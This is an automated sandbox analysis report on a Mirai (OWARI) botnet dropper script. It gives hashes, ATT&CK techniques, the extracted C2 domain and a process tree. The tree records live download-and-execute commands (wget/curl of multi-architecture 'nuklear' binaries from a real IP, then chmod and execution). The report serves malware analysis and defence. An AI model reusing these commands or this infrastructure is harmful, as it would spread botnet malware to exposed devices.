mirai | 5d8f0d7fc44dcd6e2488c1e37d9e31be38e558963a7b4531806c8c7d7004cdaa

Analysis

max time kernel
151s
max time network
155s
platform
debian-9_mipsel
resource
debian9-mipsel-20240226-en
resource tags

arch:mipselimage:debian9-mipsel-20240226-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
10/10/2024, 07:01

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

na.sh
Size

2KB
MD5

31eb41cbfbbd0e48aecbe2a689a34d71
SHA1

a315bbb1681b97a156f747d3ab9f6d0f5694c475
SHA256

5d8f0d7fc44dcd6e2488c1e37d9e31be38e558963a7b4531806c8c7d7004cdaa
SHA512

50d60c823a9f5d88b21a7b7a5f3261c77ef635af545d0464c1114af51caa2b52f8a5764cfdcbd6587f84daa05db18f15132f61e7d384192fe1c8b18eab9d4ef4

Score

10^/10

mirai owari botnet defense_evasion discovery

Malware Config

Extracted

Family

mirai

Botnet

OWARI

milnetbrasil.duckdns.org

Extracted

Family

mirai

Botnet

OWARI

milnetbrasil.duckdns.org

Signatures

Mirai
Mirai is a prevalent Linux malware infecting exposed network devices.
botnet mirai
Contacts a large (86674) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 6 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
826	chmod
730	chmod
739	chmod
745	chmod
760	chmod
795	chmod

Executes dropped EXE 6 IoCs

ioc	pid	Process
/tmp/payload	732	payload
/tmp/payload	740	payload
/tmp/payload	746	payload
/tmp/payload	761	payload
/tmp/payload	796	payload
/tmp/payload	827	payload

Modifies Watchdog functionality 1 TTPs 8 IoCs

Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

defense_evasion

Impair Defenses

T1562

description	ioc	Process
File opened for modification	/dev/misc/watchdog	payload
File opened for modification	/dev/watchdog	payload
File opened for modification	/dev/misc/watchdog	payload
File opened for modification	/dev/watchdog	payload
File opened for modification	/dev/misc/watchdog	payload
File opened for modification	/dev/watchdog	payload
File opened for modification	/dev/misc/watchdog	payload
File opened for modification	/dev/watchdog	payload

Enumerates active TCP sockets 1 TTPs 4 IoCs

Gets active TCP sockets from /proc virtual filesystem.

discovery

System Network Connections Discovery

T1049

description	ioc	Process
File opened for reading	/proc/net/tcp	payload
File opened for reading	/proc/net/tcp	payload
File opened for reading	/proc/net/tcp	payload
File opened for reading	/proc/net/tcp	payload

Changes its process name 4 IoCs

description	ioc	pid	Process
Changes the process name, possibly in an attempt to hide itself	8u1x18d184103a044	746	payload
Changes the process name, possibly in an attempt to hide itself	4u240u114124981	761	payload
Changes the process name, possibly in an attempt to hide itself	11414189x841a24	796	payload
Changes the process name, possibly in an attempt to hide itself	d98194981d8d	827	payload

Reads system network configuration 1 TTPs 4 IoCs

Uses contents of /proc filesystem to enumerate network settings.

discovery

Internet Connection Discovery

T1016.001

description	ioc	Process
File opened for reading	/proc/net/tcp	payload
File opened for reading	/proc/net/tcp	payload
File opened for reading	/proc/net/tcp	payload
File opened for reading	/proc/net/tcp	payload

Reads runtime system information 15 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/766/exe	payload
File opened for reading	/proc/828/exe	payload
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/747/exe	payload
File opened for reading	/proc/751/exe	payload
File opened for reading	/proc/802/exe	payload
File opened for reading	/proc/831/exe	payload
File opened for reading	/proc/470/exe	payload
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/763/exe	payload
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/798/exe	payload

System Network Configuration Discovery 1 TTPs 3 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
734	wget
737	curl
738	cat

Writes file to tmp directory 12 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/nuklear.mpsl	wget
File opened for modification	/tmp/nuklear.mpsl	curl
File opened for modification	/tmp/nuklear.arm5	curl
File opened for modification	/tmp/nuklear.x86	wget
File opened for modification	/tmp/nuklear.x86	curl
File opened for modification	/tmp/nuklear.mips	curl
File opened for modification	/tmp/nuklear.arm5	wget
File opened for modification	/tmp/nuklear.arm6	wget
File opened for modification	/tmp/nuklear.arm6	curl
File opened for modification	/tmp/payload	na.sh
File opened for modification	/tmp/nuklear.mips	wget
File opened for modification	/tmp/nuklear.arm4	curl

/tmp/na.sh
/tmp/na.sh
1⤵
- Writes file to tmp directory
PID:703
- /usr/bin/wget
  wget http://81.161.238.213/389242390482/nuklear.x86
  2⤵
  - Writes file to tmp directory
  PID:705
- /usr/bin/curl
  curl -O http://81.161.238.213/389242390482/nuklear.x86
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:717
- /bin/cat
  cat nuklear.x86
  2⤵
  PID:728
- /bin/chmod
  chmod +x na.sh nuklear.x86 payload systemd-private-ecb35f64e3d2458d8c255415f22330e6-systemd-timedated.service-JQ8EJP
  2⤵
  - File and Directory Permissions Modification
  PID:730
- /tmp/payload
  ./payload payload
  2⤵
  - Executes dropped EXE
  PID:732
- /usr/bin/wget
  wget http://81.161.238.213/389242390482/nuklear.mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:734
- /usr/bin/curl
  curl -O http://81.161.238.213/389242390482/nuklear.mips
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:737
- /bin/cat
  cat nuklear.mips
  2⤵
  - System Network Configuration Discovery
  PID:738
- /bin/chmod
  chmod +x na.sh nuklear.mips nuklear.x86 payload systemd-private-ecb35f64e3d2458d8c255415f22330e6-systemd-timedated.service-JQ8EJP
  2⤵
  - File and Directory Permissions Modification
  PID:739
- /tmp/payload
  ./payload payload
  2⤵
  - Executes dropped EXE
  PID:740
- /usr/bin/wget
  wget http://81.161.238.213/389242390482/nuklear.mpsl
  2⤵
  - Writes file to tmp directory
  PID:742
- /usr/bin/curl
  curl -O http://81.161.238.213/389242390482/nuklear.mpsl
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:743
- /bin/cat
  cat nuklear.mpsl
  2⤵
  PID:744
- /bin/chmod
  chmod +x na.sh nuklear.mips nuklear.mpsl nuklear.x86 payload systemd-private-ecb35f64e3d2458d8c255415f22330e6-systemd-timedated.service-JQ8EJP
  2⤵
  - File and Directory Permissions Modification
  PID:745
- /tmp/payload
  ./payload payload
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Enumerates active TCP sockets
  - Changes its process name
  - Reads system network configuration
  - Reads runtime system information
  PID:746
- /usr/bin/wget
  wget http://81.161.238.213/389242390482/nuklear.arm4
  2⤵
  PID:750
- /usr/bin/curl
  curl -O http://81.161.238.213/389242390482/nuklear.arm4
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:754
- /bin/chmod
  chmod +x na.sh nuklear.arm4 nuklear.mips nuklear.mpsl nuklear.x86 payload systemd-private-ecb35f64e3d2458d8c255415f22330e6-systemd-timedated.service-JQ8EJP
  2⤵
  - File and Directory Permissions Modification
  PID:760
- /tmp/payload
  ./payload payload
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Enumerates active TCP sockets
  - Changes its process name
  - Reads system network configuration
  - Reads runtime system information
  PID:761
- /usr/bin/wget
  wget http://81.161.238.213/389242390482/nuklear.arm5
  2⤵
  - Writes file to tmp directory
  PID:769
- /usr/bin/curl
  curl -O http://81.161.238.213/389242390482/nuklear.arm5
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:778
- /bin/chmod
  chmod +x na.sh nuklear.arm4 nuklear.arm5 nuklear.mips nuklear.mpsl nuklear.x86 payload
  2⤵
  - File and Directory Permissions Modification
  PID:795
- /tmp/payload
  ./payload payload
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Enumerates active TCP sockets
  - Changes its process name
  - Reads system network configuration
  - Reads runtime system information
  PID:796
- /usr/bin/wget
  wget http://81.161.238.213/389242390482/nuklear.arm6
  2⤵
  - Writes file to tmp directory
  PID:801
- /usr/bin/curl
  curl -O http://81.161.238.213/389242390482/nuklear.arm6
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:811
- /bin/chmod
  chmod +x na.sh nuklear.arm4 nuklear.arm5 nuklear.arm6 nuklear.mips nuklear.mpsl nuklear.x86 payload
  2⤵
  - File and Directory Permissions Modification
  PID:826
- /tmp/payload
  ./payload payload
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Enumerates active TCP sockets
  - Changes its process name
  - Reads system network configuration
  - Reads runtime system information
  PID:827
- /usr/bin/wget
  wget http://81.161.238.213/389242390482/nuklear.arm7
  2⤵
  PID:834

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Impair Defenses

T1562

Credential Access

Discovery

Network Service Discovery

T1046

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

System Network Connections Discovery

T1049

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

/tmp/nuklear.x86

Filesize
48KB

MD5
0f8078b069cb47510559b035bd452768

SHA1
7f035898a85f0bd74bae61e5e7f88f3d7f91a625

SHA256
f5544913e371f3f4b59591c735aabecf555877932afa77a9cb19fa3185f3c0e3

SHA512
2ff5c2199e690869f6a56468ba56adc0d6d949bd77f01ad4e5030f6d2b2d14a9f916c82e290f24c6c778d8f2e7bbd9563d2228a038efda536425eb1710a93c87

Download Submit
/tmp/payload

Filesize
66KB

MD5
f40f75ef70fe1828f474e793ee1b65b8

SHA1
19d54dfdb398bccb76847fbe807c0f4017f8c75a

SHA256
fecae0a43b30d8196123cc4e148a5ecfce6ae06548c0d7b081c4ebbdcb9a93dc

SHA512
4ed084ee10ddad9085dc5dfd50573dafdae4f61048e3c7a1395328b13cf65a90199ddfab661ef4161d68bc34f34e45ca3d1744c0bcb89e23173a1a6ef2f4750f

Download Submit
/tmp/payload

Filesize
69KB

MD5
f425fff657e00dafd95e0555a67cfaa5

SHA1
077fb30cacdb8bd7860b0feac5cf3240593a0770

SHA256
bb463c4a9d2b8cb78017bfa881021a873265546a833eb995491a02feda91ecf3

SHA512
ae12fc824408615d900cb32beedcabf00193b6d30002da14c50c231ff0cd6273866dccfa0b29a249cc28f8699f29cf555abcfb4b3de6626bac0aa3b7f2b7b3ec

Download Submit

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads